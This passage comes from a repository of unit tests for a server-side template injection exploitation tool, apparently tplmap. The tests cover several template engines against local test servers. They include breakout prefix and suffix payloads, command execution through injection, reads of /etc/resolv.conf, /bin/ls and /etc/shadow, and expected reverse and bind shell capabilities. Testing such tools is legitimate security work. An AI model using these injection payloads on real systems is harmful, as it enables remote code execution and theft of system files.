'suffix' : '//'}), 53 | ] 54 | 55 | reflection_tests = [ 56 | (0, 0, '%s', {}), 57 | (2, 0, 'if("%s"=="2"){}', { 'prefix' : '1")', 'suffix' : '//'}), 58 | (1, 3, '["%s"]', { 'prefix': '1"];', 'suffix' : '//' }), 59 | ] 60 | 61 | def test_custom_injection_tag(self): 62 | 63 | template = '/* %s */' 64 | 65 | channel = Channel({ 66 | 'url' : self.url.replace('*', '~') % template, 67 | 'force_level': [ 5, 0 ], 68 | 'injection_tag': '~', 69 | 'technique': 'RT' 70 | }) 71 | 72 | detect_template_injection(channel, [ self.plugin ]) 73 | 74 | expected_data = self.expected_data.copy() 75 | expected_data.update({ 'prefix': '*/', 'suffix' : '/*'}) 76 | 77 | del channel.data['os'] 78 | 79 | self.assertEqual(channel.data, expected_data) -------------------------------------------------------------------------------- /tests/test_node_marko.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.marko import Marko 9 | from basetest import BaseTest 10 | 11 | 12 | class MarkoTests(unittest.TestCase, BaseTest): 13 | 14 | expected_data = { 15 | 'language': 'javascript', 16 | 'engine': 'marko', 17 | 'evaluate' : 'javascript' , 18 | 'execute' : True, 19 | 'read' : True, 20 | 'write' : True, 21 | 'prefix' : '', 22 | 'suffix': '', 23 | 'render': '${%(code)s}', 24 | 'header': '${"%(header)s"}', 25 | 'trailer': '${"%(trailer)s"}', 26 | 'bind_shell' : True, 27 | 'reverse_shell': True 28 | } 29 | 30 | expected_data_blind = { 31 | 'language': 'javascript', 32 | 'engine': 'marko', 33 | 'blind': True, 34 | 'execute_blind' : True, 35 | 'evaluate_blind' : 'javascript', 36 | 'write': True, 37 | 'prefix' : '', 38 | 'suffix' : '', 39 | 'bind_shell' : True, 40 | 'reverse_shell': True 41 | } 42 | 43 | url = 'http://127.0.0.1:15004/marko?inj=*&tpl=%s' 44 | url_blind = 'http://127.0.0.1:15004/blind/marko?inj=*&tpl=%s' 45 | plugin = Marko 46 | 47 | 48 | blind_tests = [ 49 | (0, 0, 'AAA%sAAA', {}), 50 | ] 51 | 52 | reflection_tests = [ 53 | (0, 0, '%s', {}), 54 | (0, 0, 'AAA%sAAA', {}), 55 | (1, 0, '${%s}', { 'prefix': '1}', 'suffix' : '${"1"' }), 56 | (2, 0, '', { 'prefix': '1/>', 'suffix' : '' }), 57 | (2, 0, '', { 'prefix': '1/>', 'suffix' : '' }), 58 | ] -------------------------------------------------------------------------------- /tests/test_node_nunjucks.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.nunjucks import Nunjucks 9 | from basetest import BaseTest 10 | 11 | 12 | class NunjucksTests(unittest.TestCase, BaseTest): 13 | 14 | expected_data = { 15 | 'language': 'javascript', 16 | 'engine': 'nunjucks', 17 | 'evaluate' : 'javascript' , 18 | 'execute' : True, 19 | 'read' : True, 20 | 'write' : True, 21 | 'prefix' : '', 22 | 'suffix': '', 23 | 'trailer': '{{%(trailer)s}}', 24 | 'header': '{{%(header)s}}', 25 | 'render': '{{%(code)s}}', 26 | 'bind_shell' : True, 27 | 'reverse_shell': True 28 | } 29 | 30 | expected_data_blind = { 31 | 'language': 'javascript', 32 | 'engine': 'nunjucks', 33 | 'evaluate_blind' : 'javascript', 34 | 'blind': True, 35 | 'execute_blind' : True, 36 | 'write': True, 37 | 'prefix' : '', 38 | 'suffix' : '', 39 | 'bind_shell' : True, 40 | 'reverse_shell': True 41 | } 42 | 43 | url = 'http://127.0.0.1:15004/nunjucks?inj=*&tpl=%s' 44 | url_blind = 'http://127.0.0.1:15004/blind/nunjucks?inj=*&tpl=%s' 45 | plugin = Nunjucks 46 | 47 | 48 | blind_tests = [ 49 | (0, 0, 'AAA%sAAA', {}), 50 | (5, 1, "{% for item in %s %}{% endfor %}", {'prefix': '1 %}{% endfor %}{% for a in [1] %}', 'suffix' : ''}), 51 | (1, 3, "{% if 1 in [%s] %}{% endif %}", {'prefix': '1} %}', 'suffix' : ''}), 52 | ] 53 | 54 | reflection_tests = [ 55 | (0, 0, '%s', {}), 56 | (0, 0, 'AAA%sAAA', {}), 57 | (1, 0, "{{ %s }}", { 'prefix': '1}}', 'suffix' : '{{1' }), 58 | (0, 0, "{% block title %}%s{% endblock %}", {}), 59 | (1, 0, "{% set foo = '%s' %}", { 'prefix': "1' %}", 'suffix' : '' }), 60 | (5, 2, "{% set %s = 1 %}", { 'prefix': 'a = 1 %}', 'suffix' : '' }), 61 | (5, 1, "{% for item in %s %}{% endfor %}", {'prefix': '1 %}{% endfor %}{% for a in [1] %}', 'suffix' : ''}), 62 | (1, 0, "{% if %s == 1 %}{% endif %}", {'prefix': '1 %}', 'suffix' : ''}), 63 | (1, 2, "{% if 1 in %s %}{% endif %}", {'prefix': '"1" %}', 'suffix' : ''}), 64 | (1, 3, "{% if 1 in [%s] %}{% endif %}", {'prefix': '1} %}', 'suffix' : ''}), 65 | 66 | # Comment blocks 67 | (5, 1, '{# %s #}', { 'prefix' : '#}', 'suffix' : '{#' }), 68 | ] -------------------------------------------------------------------------------- /tests/test_node_pug.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.pug import Pug 9 | from basetest import BaseTest 10 | 11 | 12 | class PugTest(unittest.TestCase, BaseTest): 13 | 14 | expected_data = { 15 | 'language': 'javascript', 16 | 'engine': 'pug', 17 | 'evaluate' : 'javascript' , 18 | 'execute' : True, 19 | 'read' : True, 20 | 'write' : True, 21 | 'prefix' : '', 22 | 'suffix': '', 23 | 'trailer': '\n= %(trailer)s\n', 24 | 'header': '\n= %(header)s\n', 25 | 'render': '\n= %(code)s\n', 26 | 'bind_shell' : True, 27 | 'reverse_shell': True 28 | } 29 | 30 | expected_data_blind = { 31 | 'language': 'javascript', 32 | 'engine': 'pug', 33 | 'blind': True, 34 | 'execute_blind' : True, 35 | 'evaluate_blind' : 'javascript', 36 | 'write': True, 37 | 'prefix' : '', 38 | 'suffix' : '', 39 | 'bind_shell' : True, 40 | 'reverse_shell': True 41 | } 42 | 43 | url = 'http://127.0.0.1:15004/pug?inj=*&tpl=%s' 44 | url_blind = 'http://127.0.0.1:15004/blind/pug?inj=*&tpl=%s' 45 | plugin = Pug 46 | 47 | 48 | blind_tests = [ 49 | (0, 0, 'AAA%sAAA', {}), 50 | (2, 2, '- var %s = true', { 'prefix' : 'a\n', 'suffix' : '//' }), 51 | ] 52 | 53 | reflection_tests = [ 54 | (0, 0, '%s', {}), 55 | (0, 0, 'AAA%sAAA', {}), 56 | 57 | (1, 0, 'a(href=\'%s\')', { 'prefix' : '1\')', 'suffix' : '//' }), 58 | (1, 0, 'a(href="%s")', { 'prefix' : '1")', 'suffix' : '//' }), 59 | (0, 0, '#container.%s', { }), 60 | (2, 1, '#{%s}', { 'prefix' : '1}', 'suffix' : '//' }), 61 | 62 | (2, 2, '- var %s = true', { 'prefix' : 'a\n', 'suffix' : '//' }), 63 | (2, 1, '- var a = %s', { 'prefix': '1\n', 'suffix' : '//' }), 64 | 65 | ] 66 | 67 | def test_reflection_quotes(self): 68 | 69 | obj, data = self._get_detection_obj_data(self.url % '') 70 | 71 | if obj.get('execute'): 72 | result = obj.execute("""echo 1"2"'3'\\"\\'""") 73 | self.assertEqual(result, """123"'""") 74 | 75 | if not self.url_blind: 76 | return 77 | 78 | obj, data = self._get_detection_obj_data(self.url_blind % '') 79 | if obj.get('execute_blind'): 80 | self.assertTrue(obj.execute_blind("""echo 1"2"'3'\\"\\'""")) -------------------------------------------------------------------------------- /tests/test_php_php.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.languages.php import Php 9 | from core.channel import Channel 10 | from core.checks import detect_template_injection 11 | from basetest import BaseTest, EXTRA_DOWNLOAD 12 | 13 | 14 | class PhpTests(unittest.TestCase, BaseTest): 15 | 16 | expected_data = { 17 | 'language': 'php', 18 | 'engine': 'php', 19 | 'evaluate' : 'php' , 20 | 'execute' : True, 21 | 'read' : True, 22 | 'write' : True, 23 | 'prefix' : '', 24 | 'suffix': '', 25 | 'render': """%(code)s""", 26 | 'header': """print_r('%(header)s');""", 27 | 'trailer': """print_r('%(trailer)s');""", 28 | 'bind_shell' : True, 29 | 'reverse_shell': True 30 | } 31 | 32 | expected_data_blind = { 33 | 'language': 'php', 34 | 'engine': 'php', 35 | 'blind': True, 36 | 'execute_blind' : True, 37 | 'evaluate_blind' : 'php', 38 | 'write': True, 39 | 'prefix' : '', 40 | 'suffix' : '', 41 | 'bind_shell' : True, 42 | 'reverse_shell': True 43 | } 44 | 45 | url = 'http://localhost:15002/eval.php?inj=*&tpl=%s' 46 | url_blind = 'http://localhost:15002/eval.php?inj=*&tpl=%s&blind=1' 47 | plugin = Php 48 | 49 | 50 | blind_tests = [ 51 | (0, 0, '%s', {}), 52 | (1, 3, '["%s"]', { 'prefix': '1"];', 'suffix' : '//' }), 53 | ] 54 | 55 | reflection_tests = [ 56 | (0, 0, '%s', {}), 57 | (2, 0, 'if("%s"=="2"){}', { 'prefix' : '1")', 'suffix' : '//'}), 58 | (1, 3, '["%s"]', { 'prefix': '1"];', 'suffix' : '//' }), 59 | ] 60 | 61 | def test_download(self): 62 | 63 | # This is overriden due to the slight 64 | # difference from the base test_download() 65 | # obj.read('/dev/null') -> None 66 | 67 | obj, data = self._get_detection_obj_data(self.url % '') 68 | self.assertEqual(data, self.expected_data) 69 | 70 | if not EXTRA_DOWNLOAD: 71 | return 72 | 73 | # Normal ASCII file 74 | readable_file = '/etc/resolv.conf' 75 | content = open(readable_file, 'r').read() 76 | self.assertEqual(content, obj.read(readable_file)) 77 | 78 | # Long binary file 79 | readable_file = '/bin/ls' 80 | content = open(readable_file, 'rb').read() 81 | self.assertEqual(content, obj.read(readable_file)) 82 | 83 | # Non existant file 84 | self.assertEqual(None, obj.read('/nonexistant')) 85 | # Unpermitted file 86 | self.assertEqual(None, obj.read('/etc/shadow')) 87 | # Empty file 88 | self.assertEqual(None, obj.read('/dev/null')) 89 | -------------------------------------------------------------------------------- /tests/test_php_smarty_secured.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.smarty import Smarty 9 | from core.channel import Channel 10 | from core.checks import detect_template_injection 11 | from basetest import BaseTest 12 | 13 | class SmartySecuredTest(unittest.TestCase, BaseTest): 14 | 15 | expected_data = { 16 | 'language': 'php', 17 | 'engine': 'smarty', 18 | 'trailer': '{%(trailer)s}', 19 | 'header': '{%(header)s}', 20 | 'render': '%(code)s', 21 | 'prefix' : '', 22 | 'suffix' : '', 23 | } 24 | 25 | expected_data_blind = { 26 | 'language': 'php', 27 | 'engine': 'smarty', 28 | 'evaluate_blind': 'php', 29 | 'blind': True, 30 | 'prefix' : '', 31 | 'suffix' : '', 32 | } 33 | 34 | url = 'http://127.0.0.1:15002/smarty-3.1.32-secured.php?inj=*&tpl=%s' 35 | url_blind = 'http://127.0.0.1:15002/smarty-3.1.32-secured.php?inj=*&tpl=%s&blind=1' 36 | plugin = Smarty 37 | 38 | # The secured Smarty can't executes any PHP hence no sleep(1) hence no 39 | # blind tests for now 40 | blind_tests = [ 41 | ] 42 | 43 | reflection_tests = [ 44 | (0, 0, '%s', { }), 45 | (0, 0, 'AAA%sAAA', {}), 46 | (1, 0, '{%s}', { 'prefix': '1}', 'suffix' : '{'}), 47 | (5, 1, '{if %s}\n{/if}', { 'prefix': '1}{/if}{if 1}', 'suffix' : ''}), 48 | (5, 1, '{if (%s)}\n{/if}', { 'prefix': '1)}{/if}{if 1}', 'suffix' : ''}), 49 | (1, 1, '{html_select_date display_days=%s}', { 'prefix': '1}', 'suffix' : '{'}), 50 | (1, 1, '{html_options values=%s}', { 'prefix': '1}', 'suffix' : '{'}), 51 | (5, 1, '{assign value="" var="%s" value=""}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}), 52 | (5, 1, '{assign value="" var="" value="%s"}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}), 53 | (5, 1, '{assign value="" var="" value="`%s`"}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}), 54 | ] 55 | 56 | def test_custom_injection_tag(self): 57 | 58 | template = '{* %s *}' 59 | 60 | channel = Channel({ 61 | 'url' : self.url.replace('*', '~') % template, 62 | 'force_level': [ 5, 5 ], 63 | 'injection_tag': '~', 64 | 'technique': 'RT' 65 | }) 66 | 67 | detect_template_injection(channel, [ self.plugin ]) 68 | 69 | expected_data = self.expected_data.copy() 70 | expected_data.update({ 'prefix': '*}', 'suffix' : '{*'}) 71 | 72 | self.assertEqual(channel.data, expected_data) 73 | 74 | def test_download(self): 75 | pass 76 | 77 | def test_upload(self): 78 | pass 79 | 80 | def test_upload_blind(self): 81 | pass -------------------------------------------------------------------------------- /tests/test_php_smarty_unsecured.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.smarty import Smarty 9 | from core.channel import Channel 10 | from core.checks import detect_template_injection 11 | from basetest import BaseTest, EXTRA_DOWNLOAD 12 | 13 | class SmartyUnsecuredTest(unittest.TestCase, BaseTest): 14 | 15 | expected_data = { 16 | 'language': 'php', 17 | 'engine': 'smarty', 18 | 'evaluate' : 'php' , 19 | 'execute' : True, 20 | 'write': True, 21 | 'read': True, 22 | 'trailer': '{%(trailer)s}', 23 | 'header': '{%(header)s}', 24 | 'render': '%(code)s', 25 | 'prefix' : '', 26 | 'suffix' : '', 27 | 'bind_shell' : True, 28 | 'reverse_shell': True 29 | } 30 | 31 | expected_data_blind = { 32 | 'language': 'php', 33 | 'engine': 'smarty', 34 | 'evaluate_blind': 'php', 35 | 'execute_blind': True, 36 | 'write': True, 37 | 'blind': True, 38 | 'prefix' : '', 39 | 'suffix' : '', 40 | 'bind_shell' : True, 41 | 'reverse_shell': True 42 | } 43 | 44 | url = 'http://127.0.0.1:15002/smarty-3.1.32-unsecured.php?inj=*&tpl=%s' 45 | url_blind = 'http://127.0.0.1:15002/smarty-3.1.32-unsecured.php?inj=*&tpl=%s&blind=1' 46 | plugin = Smarty 47 | 48 | blind_tests = [ 49 | (0, 0, 'AAA%sAAA', {}), 50 | (5, 1, '{assign value="" var="%s" value=""}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}), 51 | ] 52 | 53 | reflection_tests = [ 54 | (0, 0, '%s', { }), 55 | (0, 0, 'AAA%sAAA', {}), 56 | (1, 0, '{%s}', { 'prefix': '1}', 'suffix' : '{'}), 57 | (5, 1, '{if %s}\n{/if}', { 'prefix': '1}{/if}{if 1}', 'suffix' : ''}), 58 | (5, 1, '{if (%s)}\n{/if}', { 'prefix': '1)}{/if}{if 1}', 'suffix' : ''}), 59 | (1, 1, '{html_select_date display_days=%s}', { 'prefix': '1}', 'suffix' : '{'}), 60 | (1, 1, '{html_options values=%s}', { 'prefix': '1}', 'suffix' : '{'}), 61 | (5, 1, '{assign value="" var="%s" value=""}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}), 62 | (5, 1, '{assign value="" var="" value="%s"}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}), 63 | (5, 1, '{assign value="" var="" value="`%s`"}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}), 64 | 65 | ] 66 | 67 | def test_custom_injection_tag(self): 68 | 69 | template = '{* %s *}' 70 | 71 | channel = Channel({ 72 | 'url' : self.url.replace('*', '~') % template, 73 | 'force_level': [ 5, 5 ], 74 | 'injection_tag': '~', 75 | 'technique': 'RT' 76 | }) 77 | 78 | detect_template_injection(channel, [ self.plugin ]) 79 | 80 | expected_data = self.expected_data.copy() 81 | expected_data.update({ 'prefix': '*}', 'suffix' : '{*'}) 82 | 83 | del channel.data['os'] 84 | self.assertEqual(channel.data, expected_data) 85 | 86 | def test_download(self): 87 | 88 | # This is overriden due to the slight 89 | # difference from the base test_download() 90 | # obj.read('/dev/null') -> None 91 | 92 | obj, data = self._get_detection_obj_data(self.url % '') 93 | self.assertEqual(data, self.expected_data) 94 | 95 | if not EXTRA_DOWNLOAD: 96 | return 97 | 98 | # Normal ASCII file 99 | readable_file = '/etc/resolv.conf' 100 | content = open(readable_file, 'r').read() 101 | self.assertEqual(content, obj.read(readable_file)) 102 | 103 | # Long binary file 104 | readable_file = '/bin/ls' 105 | content = open(readable_file, 'rb').read() 106 | self.assertEqual(content, obj.read(readable_file)) 107 | 108 | # Non existant file 109 | self.assertEqual(None, obj.read('/nonexistant')) 110 | # Unpermitted file 111 | self.assertEqual(None, obj.read('/etc/shadow')) 112 | # Empty file 113 | self.assertEqual(None, obj.read('/dev/null')) 114 | -------------------------------------------------------------------------------- /tests/test_php_twig_secured.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.twig import Twig 9 | from core.channel import Channel 10 | from basetest import BaseTest 11 | 12 | class TwigSecuredTest(unittest.TestCase, BaseTest): 13 | 14 | expected_data = { 15 | 'language': 'php', 16 | 'engine': 'twig', 17 | 'trailer': '{{%(trailer)s}}', 18 | 'header': '{{%(header)s}}', 19 | 'render': '{{%(code)s}}', 20 | 'prefix' : '', 21 | 'suffix' : '', 22 | } 23 | 24 | url = 'http://127.0.0.1:15002/twig-1.20.0-secured.php?tpl=%s&inj=*' 25 | url_blind = '' 26 | 27 | plugin = Twig 28 | 29 | blind_tests = [ 30 | 31 | ] 32 | 33 | reflection_tests = [ 34 | (0, 0, "%s", {}), 35 | (0, 0, "AAA%sAAA", {}), 36 | (1, 0, "{{ %s }}", { 'prefix': '1}}', 'suffix' : '{{1' }), 37 | (0, 0, "{% block title %}%s{% endblock %}", {}), 38 | (1, 0, "{% set foo = '%s' %}", { 'prefix': "1' %}", 'suffix' : '' }), 39 | (5, 2, "{% set %s = 1 %}", { 'prefix': 'a = 1 %}', 'suffix' : '' }), 40 | (5, 1, "{% for item in %s %}{% endfor %}", {'prefix': '1 %}{% endfor %}{% for a in [1] %}', 'suffix' : ''}), 41 | (1, 0, "{% if %s == 1 %}{% endif %}", {'prefix': '1 %}', 'suffix' : ''}), 42 | (1, 2, "{% if 1 in %s %}{% endif %}", {'prefix': '"1" %}', 'suffix' : ''}), 43 | (1, 3, "{% if 1 in [%s] %}{% endif %}", {'prefix': '1] %}', 'suffix' : ''}), 44 | #(1, 4, "{{ \"iterpo#{%s}lation\" }}", { 'prefix': '1}}}', 'suffix' : '' }), 45 | ] 46 | 47 | # Defuse download tests, capabilities not available 48 | def test_download(self): 49 | pass 50 | 51 | # Defuse upload tests, capabilities not available 52 | def test_upload(self): 53 | pass 54 | 55 | def test_upload_blind(self): 56 | pass -------------------------------------------------------------------------------- /tests/test_php_twig_unsecured.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.twig import Twig 9 | from core.channel import Channel 10 | from basetest import BaseTest 11 | 12 | class TwigUnsecuredTest(unittest.TestCase, BaseTest): 13 | 14 | expected_data = { 15 | 'language': 'php', 16 | 'engine': 'twig', 17 | 'evaluate' : 'php', 18 | 'execute' : True, 19 | 'write': True, 20 | 'read': True, 21 | 'trailer': '{{%(trailer)s}}', 22 | 'header': '{{%(header)s}}', 23 | 'render': '{{%(code)s}}', 24 | 'prefix' : '', 25 | 'suffix' : '', 26 | 'bind_shell' : True, 27 | 'reverse_shell': True 28 | } 29 | 30 | expected_data_blind = { 31 | 'language': 'php', 32 | 'engine': 'twig', 33 | 'evaluate_blind': 'php', 34 | 'execute_blind': True, 35 | 'write': True, 36 | 'blind': True, 37 | 'prefix' : '', 38 | 'suffix' : '', 39 | 'bind_shell' : True, 40 | 'reverse_shell': True 41 | } 42 | 43 | url = 'http://127.0.0.1:15002/twig-1.19.0-unsecured.php?tpl=%s&inj=*' 44 | url_blind = 'http://127.0.0.1:15002/twig-1.19.0-unsecured.php?tpl=%s&inj=*&blind=1' 45 | 46 | plugin = Twig 47 | 48 | blind_tests = [ 49 | 50 | ] 51 | 52 | reflection_tests = [ 53 | (0, 0, "%s", {}), 54 | (0, 0, "AAA%sAAA", {}), 55 | (1, 0, "{{ %s }}", { 'prefix': '1}}', 'suffix' : '{{1' }), 56 | (0, 0, "{% block title %}%s{% endblock %}", {}), 57 | (1, 0, "{% set foo = '%s' %}", { 'prefix': "1' %}", 'suffix' : '' }), 58 | (5, 2, "{% set %s = 1 %}", { 'prefix': 'a = 1 %}', 'suffix' : '' }), 59 | (5, 1, "{% for item in %s %}{% endfor %}", {'prefix': '1 %}{% endfor %}{% for a in [1] %}', 'suffix' : ''}), 60 | (1, 0, "{% if %s == 1 %}{% endif %}", {'prefix': '1 %}', 'suffix' : ''}), 61 | (1, 2, "{% if 1 in %s %}{% endif %}", {'prefix': '"1" %}', 'suffix' : ''}), 62 | (1, 3, "{% if 1 in [%s] %}{% endif %}", {'prefix': '1] %}', 'suffix' : ''}), 63 | #(1, 4, "{{ \"iterpo#{%s}lation\" }}", { 'prefix': '1}}}', 'suffix' : '' }), 64 | ] -------------------------------------------------------------------------------- /tests/test_py_mako.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(10, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.mako import Mako 9 | from core.channel import Channel 10 | from utils import rand 11 | from utils import strings 12 | from basetest import BaseTest 13 | 14 | class MakoTest(unittest.TestCase, BaseTest): 15 | 16 | expected_data = { 17 | 'language': 'python', 18 | 'engine': 'mako', 19 | 'evaluate' : 'python', 20 | 'execute' : True, 21 | 'read': True, 22 | 'write': True, 23 | 'prefix' : '', 24 | 'suffix' : '', 25 | 'trailer': '${%(trailer)s}', 26 | 'header': '${%(header)s}', 27 | 'render': '${%(code)s}', 28 | 'bind_shell' : True, 29 | 'reverse_shell': True 30 | } 31 | 32 | expected_data_blind = { 33 | 'language': 'python', 34 | 'engine': 'mako', 35 | 'blind': True, 36 | 'write': True, 37 | 'prefix' : '', 38 | 'suffix' : '', 39 | 'evaluate_blind': 'python', 40 | 'execute_blind': True, 41 | 'bind_shell' : True, 42 | 'reverse_shell': True 43 | } 44 | 45 | url = 'http://127.0.0.1:15001/reflect/mako?tpl=%s&inj=*' 46 | url_blind = 'http://127.0.0.1:15001/blind/mako?tpl=%s&inj=*' 47 | 48 | plugin = Mako 49 | 50 | blind_tests = [ 51 | (0, 0, 'AAA%sAAA', {}), 52 | (1, 5, '<%% a=set(["""%s"""]) %%>', { 'prefix' : '1"""])%>', 'suffix' : '<%#' }), 53 | ] 54 | 55 | reflection_tests = [ 56 | 57 | # Text context 58 | (0, 0, '%s', {}), 59 | (0, 0, 'AAA%sAAA', {}), 60 | 61 | # Reflecting tag ${} context 62 | (1, 1, '${ %s = 1 }', { 'prefix': '1}', 'suffix' : '' }), 63 | (1, 1, '${%s}', { 'prefix': '1}', 'suffix' : '' }), 64 | (1, 1, '${ \'%s\' }', { 'prefix': '1\'}', 'suffix' : '' }), 65 | (1, 1, '${ "%s" }', { 'prefix': '1"}', 'suffix' : '' }), 66 | (1, 3, '${ """%s""" }', { 'prefix': '1"""}', 'suffix' : '' }), 67 | (1, 2, '${ range(%s) }', { 'prefix': '1)}', 'suffix' : '' }), 68 | (1, 2, '${ set(\'%s\') }', { 'prefix': '1\')}', 'suffix' : '' }), 69 | (1, 2, '${ set("%s") }', { 'prefix': '1")}', 'suffix' : '' }), 70 | (1, 3, '${ set("""%s""") }', { 'prefix': '1""")}', 'suffix' : '' }), 71 | 72 | (1, 3, '${[%s]}', { 'prefix': '1]}', 'suffix' : '' }), 73 | (1, 3, '${ [\'%s\'] }', { 'prefix': '1\']}', 'suffix' : '' }), 74 | (1, 3, '${ ["%s"] }', { 'prefix': '1"]}', 'suffix' : '' }), 75 | (1, 3, '${ ["""%s"""] }', { 'prefix': '1"""]}', 'suffix' : '' }), 76 | (1, 5, '${ set([%s]) }', { 'prefix': '1])}', 'suffix' : '' }), 77 | (1, 5, '${ set([\'%s\']) }', { 'prefix': '1\'])}', 'suffix' : '' }), 78 | (1, 5, '${ set(["%s"]) }', { 'prefix': '1"])}', 'suffix' : '' }), 79 | (1, 5, '${ set(["""%s"""]) }', { 'prefix': '1"""])}', 'suffix' : '' }), 80 | 81 | (1, 3, '${{%s}}', { 'prefix': '1}}', 'suffix' : '' }), 82 | (1, 3, '${{1:%s}}', { 'prefix': '1}}', 'suffix' : '' }), 83 | (1, 3, '${ {1:\'%s\'} }', { 'prefix': '1\'}}', 'suffix' : '' }), 84 | (1, 3, '${ {1:"%s"} }', { 'prefix': '1"}}', 'suffix' : '' }), 85 | (1, 3, '${ {1:"""%s"""} }', { 'prefix': '1"""}}', 'suffix' : '' }), 86 | (1, 3, '${{3:4, %s:1}}', { 'prefix': '1:1}}', 'suffix' : '' }), 87 | (1, 3, '${ {\'%s\':1} }', { 'prefix': '1\'}}', 'suffix' : '' }), 88 | (1, 3, '${ {"%s":1} }', { 'prefix': '1"}}', 'suffix' : '' }), 89 | (1, 3, '${ {"""%s""":1} }', { 'prefix': '1"""}}', 'suffix' : '' }), 90 | 91 | # Code blocks context 92 | (1, 1, '<%% %s %%>', { 'prefix' : '1%>', 'suffix' : '<%#' }), 93 | (1, 1, '<%%! %s %%>', { 'prefix' : '1%>', 'suffix' : '<%#' }), 94 | (1, 1, '<%% %s=1 %%>', { 'prefix' : '1%>', 'suffix' : '<%#' }), 95 | (1, 1, '<%% a=%s %%>', { 'prefix' : '1%>', 'suffix' : '<%#' }), 96 | (1, 1, '<%% a=\'%s\' %%>', { 'prefix' : '1\'%>', 'suffix' : '<%#' }), 97 | (1, 1, '<%% a="%s" %%>', { 'prefix' : '1"%>', 'suffix' : '<%#' }), 98 | (1, 3, '<%% a="""%s""" %%>', { 'prefix' : '1"""%>', 'suffix' : '<%#' }), 99 | (1, 3, '<%% a=range(%s) %%>', { 'prefix' : '1)%>', 'suffix' : '<%#' }), 100 | (1, 3, '<%% a=\'\'.join(\'%s\') %%>', { 'prefix' : '1\')%>', 'suffix' : '<%#' }), 101 | (1, 3, '<%% a=\'\'.join("%s") %%>', { 'prefix' : '1\")%>', 'suffix' : '<%#' }), 102 | (1, 3, '<%% a=\'\'.join("""%s""") %%>', { 'prefix' : '1""")%>', 'suffix' : '<%#' }), 103 | 104 | 105 | (1, 3, '<%% a=[%s] %%>', { 'prefix' : '1]%>', 'suffix' : '<%#' }), 106 | (1, 3, '<%% a=[\'%s\'] %%>', { 'prefix' : '1\']%>', 'suffix' : '<%#' }), 107 | (1, 3, '<%% a=["%s"] %%>', { 'prefix' : '1"]%>', 'suffix' : '<%#' }), 108 | (1, 3, '<%% a=["""%s"""] %%>', { 'prefix' : '1"""]%>', 'suffix' : '<%#' }), 109 | (1, 5, '<%% a=set([%s]) %%>', { 'prefix' : '1])%>', 'suffix' : '<%#' }), 110 | (1, 5, '<%% a=set([\'%s\']) %%>', { 'prefix' : '1\'])%>', 'suffix' : '<%#' }), 111 | (1, 5, '<%% a=set(["%s"]) %%>', { 'prefix' : '1"])%>', 'suffix' : '<%#' }), 112 | (1, 5, '<%% a=set(["""%s"""]) %%>', { 'prefix' : '1"""])%>', 'suffix' : '<%#' }), 113 | 114 | (1, 3, '<%% a={%s} %%>', { 'prefix' : '1}%>', 'suffix' : '<%#' }), 115 | (1, 3, '<%% a={1:%s} %%>', { 'prefix' : '1}%>', 'suffix' : '<%#' }), 116 | (1, 3, '<%% a={1:\'%s\'} %%>', { 'prefix' : '1\'}%>', 'suffix' : '<%#' }), 117 | (1, 3, '<%% a={1:"%s"} %%>', { 'prefix' : '1"}%>', 'suffix' : '<%#' }), 118 | (1, 3, '<%% a={1:"""%s"""} %%>', { 'prefix' : '1"""}%>', 'suffix' : '<%#' }), 119 | (1, 3, '<%% a={3:2, %s:1} %%>', { 'prefix' : '1:1}%>', 'suffix' : '<%#' }), 120 | (1, 3, '<%% a={\'%s\':1}] %%>', { 'prefix' : '1\'}%>', 'suffix' : '<%#' }), 121 | (1, 3, '<%% a={"%s":1}] %%>', { 'prefix' : '1"}%>', 'suffix' : '<%#' }), 122 | (1, 3, '<%% a={"""%s""":1} %%>', { 'prefix' : '1"""}%>', 'suffix' : '<%#' }), 123 | 124 | # if and for blocks context 125 | (5, 5, '%% if %s:\n%% endif', { 'prefix' : '1:#\n', 'suffix' : '\n' }), 126 | (5, 5, '%% for a in %s:\n%% endfor', { 'prefix' : '"1":#\n', 'suffix' : '\n' }), 127 | (5, 5, '%% if %s==1:\n%% endif', { 'prefix' : '1:#\n', 'suffix' : '\n' }), 128 | (5, 5, '%% if \'%s\'==1:\n%% endif', { 'prefix' : '1\':#\n', 'suffix' : '\n' }), 129 | (5, 5, '%% if "%s"==1:\n%% endif', { 'prefix' : '1":#\n', 'suffix' : '\n' }), 130 | (5, 5, '%% if """%s"""==1:\n%% endif', { 'prefix' : 